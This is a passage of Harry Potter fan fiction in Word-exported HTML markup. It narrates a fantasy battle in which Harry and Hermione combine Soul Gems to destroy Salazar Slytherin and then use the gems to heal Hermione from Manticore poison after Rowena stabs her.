style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded in understanding.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Now the first thing,&#8221; He glanced up at Rowena. &#8220;You will\nrestore Rowena Ravenclaw&#8217;s body.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked up at Salazar. &#8220;I don&#8217;t know how to use\nthis.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">That was the wrong thing to say as the back of Salazar&#8217;s\nhand connected with her cheek.&nbsp; Out of\nthe corner of his eye he saw Hermione&#8217;s friends attempt to get at him for\nthat.&nbsp; He chuckled lightly to\nhimself.&nbsp; &#8220;I heard that you are quite the\nsmarty, now I&#8217;m sure it&#8217;s not that hard for you to figure it out.&#8221; He said with\na threatening tone in his voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She tried to keep down the tears of pain and humiliation\nthat Salazar seems to inflict upon her.&nbsp;\nHermione was so distraught that she couldn&#8217;t really think straight.&nbsp; She grasped the scepter tightly with both\nhands and closed her eyes, poking into her own mind.&nbsp; She had to come up with the instructions on\nhow to use this.&nbsp; Her mind began to clear\nand she felt the scepters power running through her, she imagined Rowena and\nwhat she would look like if she were flesh and blood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena hovered near Salazar and Hermione.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena felt a great tingly sensation running through her, she felt her flesh returning and a heartbeat began to\nthump into her forming chest.&nbsp; Two Death\nEaters with a Blue robe handed it to her as she began to focus and since her\ngown wasn&#8217;t real it was transparent it disappeared.&nbsp; She noticed Salazar staring at her as she was\nincreasing in humanity all of her assets coming into focus.&nbsp; Two female Death Eaters helped her into the\nblue robes.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She lifted up her hands and saw that they were solid.&nbsp; She placed her hand on one of the Death\nEater&#8217;s shoulders she could feel it. &#8220;I&#8217;m alive again.&#8221; She smiled widely while\nspinning around.&nbsp; She looked at Hermione\nwho was still concentrating.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar was pleased with Rowena looking human again, </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Salazar.&#8221; She said quietly, &#8220;I know how to make a Soul Gem,\nI envisioned how when I was poking into the silly girl&#8217;s head while she was\nattempting to make me flesh.&nbsp; All the\nlessons were there in her mind and I found the one about the Soul Gem, you\ndon&#8217;t need to keep her around anymore. Kill them all.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar smirked. &#8220;Tell me what you think I should kill them\nwith.&#8221; He said lifting her chin, I know you love a\ngood bloody death.&#8221; It felt good to be able to actually touch her again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Have yourself transformed into a\nManticore, they are deadly and huge. It&#8217;s bound to be a grand battle.&#8221; She said\nwith a hint of glory.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar nodded.&nbsp; He\nbent to claim her mouth with his own but she turned away at the last minute.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;Not now, there will\nbe plenty of time for us after you kill them.&#8221; Rowena heard him groan in\nfrustration. But he agreed to her request, as she knew he would. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Mudblood change me into a Manticore.&#8221; He said with a smirk</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked at him wide eyed, and he stepped closer to\nher.&nbsp; She knew what was coming if she didn&#8217;t\nlisten to him.&nbsp; Her eyes quickly closed,\nwithin seconds Salazar&#8217;s body changed into a very large lion&#8217;s body that grew\nto a size larger than the average Manticore, where a lions\ntail would be was that of a scorpion with a massive stinger ready to pierce the\nskin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The site of the this beast caused\nHermione to step back, Salazar smirked and swung his tail at her, She jumped\nout of the way.&nbsp; Harry and Ron broke free\nof the Death Eaters grip and rushed towards Hermione, Voldemort fired a curse\nat Harry who didn&#8217;t make it to Hermione in time.&nbsp; Ron did.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena went over and picked up the box with Hermione&#8217;s wand\nin it, she opened the box and pulled out the wand and fired an explosion charm\nat both Ron and Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron and Hermione were thrown across the\nroom; they crawled on their hands and knees behind the throne, using it as a\nshield.&nbsp; Ron glanced around seeing\nVoldemort using curses at Zara and Harry. &#8220;Eliminate them all!!&#8221; Rowena shouted\nand the room was filled with Death Eaters firing off explosion charms that it\nactually looked like World War Three had broken out. Ron saw his bag over in\nthe corner; his wand was in there.&nbsp; He\nstarted to crawl towards it but Hermione grabbed onto the back of Ron&#8217;s shirt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;What are you doing?&#8221;\nShe found it odd that Ron was going to go back out into the thick of it without\na plan.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m going to crawl to my bag, my wand is in there.&#8221; He\nleaned forward trying to pull his shirt from Hermione&#8217;s grip.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ron, look at what&#8217;s going on out there.&nbsp; It&#8217;s a war zone.&nbsp; You could be killed.&#8221; Hermione said as a\ncurse was fired in her direction and she ducked out of the way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just use the scepter on You&#8212;Know&#8212;Who\nand then I can retrieve my wand.&nbsp; He&#8217;s\nthe one that&#8217;s preventing me from getting to my bag.&#8221; Ron thought a moment,\n&#8220;Wait I remember something Rowena confessed, I&#8217;m sure\nshe didn&#8217;t mean too but she still said it.&#8221;&nbsp;\nRon turned around looking Hermione straight in the eye.&nbsp; &#8220;With the Scepter you can control many people\nat once.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes widened with the\nrealization and she held the scepter tight in her right hand.&nbsp; She was going to use it on Voldemort and\nSalazar; she gripped the scepter with her left hand when Salazar&#8217;s tail whipped\naround the throne against her hand, the force was so hard that it knocked the\nscepter from her grasp.&nbsp;&nbsp; It scepter slid\nacross the floor towards the other side of the room, hitting the wall. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:13.5pt">Rowena hurried to that side of the room and picked up the\nscepter.&nbsp; She looked curiously at the\nscepter, more importantly the Soul Gem.&nbsp;\nSince everyone was distracted she would not be disturbed.&nbsp; She touched the Soul Gem with the tip of her\nfinger; the gem was so hot that she squealed in pain pulling her finger\nback.&nbsp; She saw the burn now appearing on\nher finger. Rowena was angry and annoyed and lifted up the hem of her gown and\npushed against the stone, it popped out and fell to the ground.&nbsp; She lifted her foot and brought it down hard\non the stone.&nbsp; She jumped up and down on\nit but it wouldn&#8217;t even crack.&nbsp; She\npulled out Hermione&#8217;s wand and pointed it at the stone on the ground; she spoke\nout a smashing, melting and several other charms. After the dust settled she\nwas annoyed that that Soul Gem didn&#8217;t even have on scratch on its surface.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry dodged a curse and dove behind the throne with\nHermione just as Ron was hurrying across the floor towards his bag, Salazar&#8217;s\ntail swatted at him and Ron had to dodge it a few times before making it to his\nbag.&nbsp; He threw himself on top of his bag\nto prevent Salazar&#8217;s tail from whipping it away from him.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Voldemort stopped his part of the fight; he wanted Salazar\nSlytherin dead just as much as they did. Probably more since Salazar took over\nhis order. He was right mad he was, knowing the resourcefulness of his enemies\nas well they would probably succeed.&nbsp; Let\nthem kill Salazar for him, he thought with a wicked smirk.&nbsp; What brilliant idea that was and with that he\napparated away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar swiped at Ron several times with his tail, for he\ncouldn&#8217;t get over to that side of the room for Zara, Ginny and Draco were attacking\nhim, firing curses and charming large blocks of cement aimed at him, almost\ncoming in contact with his head.&nbsp; Salazar\nhad to keep dodging them.&nbsp; At least he\nhad his tail to attempt to poison his young enemies.&nbsp; Two blocks headed in his direction and he\nlifted his large front leg and knocked two blocks of cement away like tennis\nballs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione just took a glimpse over at Rowena who was stomping\nup and down and began firing charms at her Soul Gem, not to mention using her\nown wand in doing that.&nbsp; Her temper\nboiled and she stood up; Harry and Ron didn&#8217;t even have a chance to stop\nher.&nbsp; Hermione was too quick and she ran\ninto the path of the fight, she ducked out of the way of flying cement blocks\nand large rocks.&nbsp; She jumped over a\npillar that was lying on the ground the top of it smashed into tiny\npieces.&nbsp; Hermione was nearing Rowena,\ncloser and closer she came.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Rowena barely had time acknowledge what was going on she saw\nVoldemort disappear and thought &#8216;What a coward.&#8217;&nbsp; Something big flew at her with a full heavy\nforce knocking her to the ground, the back of her head hit the floor and she\nsaw stars for a minute.&nbsp; She recovered\nquickly. Hermione was attempting to pull her wand from Rowena&#8217;s grasp.&nbsp; Rowena started her struggle.&nbsp;&nbsp; Hermione was bigger but Rowena thought\nquickly as her knee went up into Hermione&#8217;s stomach with a force that it\nknocked the air out of her.&nbsp; Rowena\npushed Hermione off of her and got to her feet. She lifted her foot to kick her\nagain in the stomach for fun; she didn&#8217;t count on Hermione being quick at\ngrabbing the woman&#8217;s other foot and twisting it hard.&nbsp; Rowena fell to the ground again.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron jumped back behind the throne with Harry as the\nremaining Death Eaters were firing curses and explosion charms at them.&nbsp; Out of breath Ron leaned against the back of\nthe throne. One of the explosion charms hit the throne and a chunk of it flew\nagainst the wall and shattered, Ron and Harry shielded themselves with their\narms as medium and large chunks of marble poured down on them.&nbsp; Ron quickly opened his bag and dumped it\nout.&nbsp; He found his wand and held it up\nwith triumph.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ah-ha!&#8221; He squeezed it with a\ncheesy grin on his face. Ron with his wand jumped out from behind the throne to\njoin in on the fight against Salazar - or the beast he had transformed\ninto.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry noticed Hermione&#8217;s necklace lying on the ground.&nbsp; He picked it up and felt the energy rush\nthrough him, something made him look over near the far wall he saw Hermione on\nthe ground twisting Rowena&#8217;s foot and the woman fall to the ground in a\nheap.&nbsp; Harry&#8217;s attention turned to his\nwand lying over where Voldemort had been standing; he scrambled out from behind\nthe throne as two other Death Eaters were firing curses at him.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He ran towards his wand and reached it he held it in his\nhand, ducking just in time as the curse sailed over his head hitting the far\nwall. Harry stood pointing his wand at one of the two fighting Death Eaters and\nshouting, &#8220;Petrificus Totalus!!&#8221;&nbsp;\nHe pointed his wand and the next Death Eater shouting the same thing and\nboth of them fell to the ground frozen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione knocked Rowena in the face with her fist and the\nwoman dropped the wand and scepter it rolled away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; &#8220;That was for\ntricking me.&#8221;&nbsp; Hermione spat while\npicking up her wand, she scrambled towards her Soul Gem clutched it tightly in\nher hand and jumped to her feet. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The scepter continued rolling coming to stop, hitting Harry\nin the foot.&nbsp; He bent and picked it\nup.&nbsp; Harry stood straight as Hermione was\nrunning towards him.&nbsp; He met her half\nway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Give me the Scepter Harry.&#8221; Hermione said completely out of\nbreath.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry handed her the scepter and Hermione placed her Soul\nGem back into the silver oval on top of the scepter.&nbsp; She turned, facing Salazar who was still\nfighting off his other enemies.&nbsp; She held\nthe scepter tightly with both hands, thinking to it.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry noticed Salazar&#8217;s body start to fade a little, it\nflickered in and out but didn&#8217;t disappear it came back full and as bright as\never.&nbsp; Harry heard Rowena laughing at\nHermione&#8217;s feeble attempt.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s eyes squinted tight as she felt a terrible\npounding race through her head, she broke the concentration and her right hand\nlifted to her forehead in a hot aching pain, she put pressure on her head with\nher hand.&nbsp; &#8220;Slytherin is too strong like\nthat, I can&#8217;t do it.&#8221; She almost fell to her knees from exhaustion but Harry\ncaught her in time.&nbsp;&nbsp; He helped steady\nher.&nbsp; She noticed the necklace in his\nhand.&nbsp; Hermione looked up at Harry her\neyes narrowed from the pounding in her head.&nbsp;\n&#8220;Harry that is you,&#8221; She pointed to the necklace, &#8220;You do it.&#8221; She\npopped out her Soul Gem and with a shaky hand, she held out the scepter for\nhim. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded, &#8220;Okay.&#8221; He looked at the necklace in his hand\nand lifted his finger pushing his Gem from the necklace holder; it seemed to\npop out with no trouble.&nbsp; He took the\nscepter from Hermione and put his own Soul Gem into the silver oval.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar&#8217;s tail landed on the ground and Draco jumped on it,\npreventing Salazar from lifting it easily off the ground.&nbsp; Salazar turned around to find Draco standing\non his tail he tried harder to pull it out from underneath the boy. Draco acted\nquickly and pulled out the dagger and started slicing off the poisonous\ntip.&nbsp; Salazar was yelling out pain as Draco\nsevered the tail from its body and tossed it to the side.&nbsp; He then jumped off the tail, now they\nwouldn&#8217;t have to worry about the poison from the tail. It would be a fairer\nfight.</p>\n\n<p class="MsoBodyTextIndent" style="tab-stops:3.75in">Harry held the scepter in both hands tightly, and he\nconcentrated on Salazar.&nbsp; The monstrous\nbeast started to fade a bit.&nbsp; It was as\nif Salazar didn&#8217;t notice he was being rubbed out.&nbsp; Until his head shot up looking right at\nHarry, he felt the fading of his body, the feelings inside twisting and\nturning; his body was becoming dimmer and dimmer.&nbsp; Harry couldn&#8217;t hold it either Salazar was\ncoming back into focus and he felt the hot, blinding pain in his head. He too\nalmost fell to his knees but caught himself.&nbsp;\n&#8220;I can&#8217;t do it either.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione noticed they both got pretty far but the dark magic\nwas just too strong.&nbsp; An idea flashed in\nher head.&nbsp; She looked Harry straight in\nthe eye, &#8220;Put them together.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What?&#8221; Harry couldn&#8217;t concentrate, his head was really\nhurting.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry we both almost got rid of him, maybe if we put the\nSoul Gems together it will work.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded, &#8220;Good idea.&#8221;&nbsp;\nHe lifted the scepter and popped out the gem.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione pushed hers against his and without a spell or\nincantation the Soul Gems formed into one.&nbsp;\nHermione put the gem back into the scepter.&nbsp; Both Harry and Hermione held on to the\nscepter concentrating on Salazar.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Salazar felt a tightening in his chest, as his bones seemed\nto crush together.&nbsp; The cement blocks\nkept flying at him from Ginny and Zara, causing the large beast to fall down on\nthe ground.&nbsp; Flames erupted around his\nbody engulfing him entirely, he seemed to be melting into oblivion, and his fur\nand skin liquefied becoming a large pile of goo.&nbsp; The rest of him melted into the goo like liquid silver, his horrifying echoing scream was\nthe last thing they heard and then there was silence.&nbsp; The fire ceased and all that was left was a\npile of bits of fur and scales that didn&#8217;t melt all the way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione walked over to the pile of Salazar goo and looked at in disgust.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">With a Death Eater at her side Rowena grabbed Hermione holding\nthe poisoned tail end against her back.&nbsp;\nShe laughed as her enemies descended towards her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Stay back.&#8221; Rowena threatened while pressed the tail more\ninto Hermione&#8217;s back, &#8220;This is Manticore poison&#8221; She said with a smirked as the\ngroup stopped in their tracks.&nbsp; She\nsighed deeply.&nbsp; &#8220;Thank you for killing\nSalazar, I was going to do it myself.&nbsp;\nBut I just let you do it for me.&#8221;&nbsp;\nRowena smirked. &#8220;Did you know I was able to read minds while I was a\nspirit?&nbsp; Thanks to you\nand your fantastic brain.&#8221; She said looked at Hermione. &#8220;I know how to\ncreate a Soul Gem.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron stepped towards Rowena and Hermione but Rowena pressed\nthe sharp tail end more against Hermione&#8217;s back. Ron noticed and backed\noff.&nbsp; He would attempt to stall her while\nZara and Harry came up with a plan as they were whispering quietly so quiet\nthat Rowena couldn&#8217;t hear them. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why did you do it?&#8221; Ron asked. &#8220;You know, why did you kill\nyour own daughter?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why not, she was in the way.&#8221; Rowena spat bitterly. &#8220;I had\ntrained her perfectly before she went off to study with that Merlin.&nbsp; He filled her head with that equality and\njustice crud.&nbsp; They way Jasmine treated\nthose boys of hers before she left was as if they were beneath her, and they\nwere.&nbsp; But oh no Merlin had chosen her as\nhis study.&nbsp; She came back a whole\ndifferent person. One I knew would ruin all my plans.&nbsp; I had to get rid of her.&#8221;&nbsp; Rowena was glaring at Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Now,&#8221; she looked over at Harry. &#8220;You will give me the\nscepter.&#8221; Rowena saw Harry start slowly towards her with the scepter extended.&nbsp; &#8220;Or I will kill her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry was really close now his heart was pounding a mile a\nminute in his chest.&nbsp; It was a shame he\ncouldn&#8217;t use the scepter now without Hermione.&nbsp;\nHe had to give it up to her.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The scepter was placed into the Death Eater&#8217;s hand, Rowena\nsmirked &#8220;Thank you so much.&nbsp; But you know\nI think I&#8217;ll just kill her anyway.&#8221; &#8220;NO!&#8221; She heard them all shout at as Rowena\nquickly brought the poisoned tail end around plunging it into Hermione&#8217;s heart.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The Death Eater next to Rowena used the scepter and hit her\nin the side of the head with a force that it caused Rowena to fall back against\nthe wall and slump to the floor</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione felt the hot poison running throughout her body and\nfell to her knees. All of them besides Draco rushed over to Hermione&#8217;s\nweakening body. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco acted quickly using his dagger and plunging it into\nRowena&#8217;s heart. &#8220;I hope you like being a ghost again.&#8221; He said with a wink.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Traitor.&#8221; Rowena breathed out in a\nquiet voice as Draco stabbed her again.&nbsp;\nHe watched her die, once again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The Death Eater crouched down she placed a hand on Harry&#8217;s\nshoulder, &#8220;She&#8217;s not dead yet.&nbsp; Salazar\nwasn&#8217;t a true Manticore -- his poison is effective but only after a period of\ntime. But its still deadly nonetheless. So here&#8217;s what\nyou can do to help her before it&#8217;s too late break the\nSoul Gem back into two halves.&#8221; She quickly said.&nbsp; &#8220;This will work.&#8221; She handed him the scepter\nand Harry popped the Soul Gem out.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How?&#8221; He asked his voice quivering\nholding Hermione&#8217;s head in his lap. He kept smoothing away her hair from atop\nher forehead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just put your hand on it.&#8221; The Death Eater said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry quickly covered the gem with his hand and in no less\nthen a second later it split back into two pieces. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Now take your gem and place it in her open wound, then you have to open a wound in your own body it can be\nanywhere.&#8221;&nbsp; Harry nodded just as Draco\ncame back over to them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Give me your dagger Malfoy.&#8221; Harry said while looking up at\nhim, he tried to hold back his emotions.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Draco nodded handing Harry the dagger. He watched as Harry\nquickly lifted the dagger cutting it down the middle of his shirt.&nbsp; He knew what was coming.&nbsp; For some reason this idea of what Harry was\ngoing to do to himself was well it sickened him he turned his head not to see\nHarry stab himself in the chest.&nbsp; He\nheard the yell of absolute pain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry pulled the dagger from his new wound and attempted to\npick up Hermione&#8217;s Soul Gem. He didn&#8217;t have time to be surprised that\nHermione&#8217;s Gem didn&#8217;t burn him like it had Rowena.&nbsp; He placed the Gem into his open would and he\nquickly lifted his and placed it in Hermione&#8217;s wound.&nbsp; He felt a warm tingly sensation.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;The same thing is happening to her, Merlin had made sure\nthat Soul Gems have healing properties and defenses against anything evil or\nanything created from evil. The first Manticore was created by a dark wizard so\nthere is evil in its blood.&nbsp; Merlin&#8217;s\nSoul Gem will counteract the Manticore poison.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How do you know this?&#8221; Harry was pressing his hand to his\nwound to try and keep it from bleeding, but the blood seemed to seep out in\nbetween his fingers.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Someone called Nilrem wrote me a few days ago after I had\nfirst started Herm&#8212; uh the girl on the healing process.&#8221; The Death Eater ripped\nthe hem of her robed in a long strip and started wrapped it around Harry and\ntightened it against the wound trying to stop the bleeding.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;There is something else about the Soul Gem, you will now\nboth be able to feel each others emotions, pain or joy\nwhen you are apart.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry looked right in the Death Eater&#8217;s eyes, and then\nlowered his head.&nbsp; His question vanished\nfrom his mind. As he looked down at Hermione&#8217;s unconscious form perhaps now he\ncan do more for her if he knows what she is feeling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You need to get back to Hogwarts so they can take care of\nyou properly.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry looked down at Hermione who was unconscious; her wound\nwas bleeding just as badly as his.&nbsp; Even\nthough he was sore he got to his feet.&nbsp;\nHe watched Ron bend and lift Hermione from off the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Give her to me.&#8221; Harry said immediately.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry you are weak, let me carry her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, give her to me now.&#8221; He said trying not to raise his\nvoice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Are you sure?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes,&#8221; Harry nodded holding his arms out to take her back\nfrom him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron looked over at Zara and Ginny and saw them both\nnod.&nbsp; He shook his head back and forth\nwith a sigh; he stepped closer to Harry and watched him take his friend\nback.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry held her tightly against his chest, he looked to the\nDeath Eater, &#8220;How do we get out of here?&#8221;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just let me apparate you all back, of course you will all\nbe apparated to the forbidden forest just outside the school grounds.&#8221;&nbsp; She looked at everyone&#8217;s face. &#8220;All right now\nsome of you hold on to me and I&#8217;ll hold on to you two.&#8221; She said looking at\nHarry.&nbsp; The Death Eater grabbed onto\nHarry&#8217;s arm as the other four grabbed onto a part of the Death Eater.&nbsp; She apparated everyone with her vanished from\nSalazar Slytherin&#8217;s palace</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hagrid was feeding Fang when six of his students plus a\nDeath Eater apparated into his line of view.&nbsp;\nHe quickly 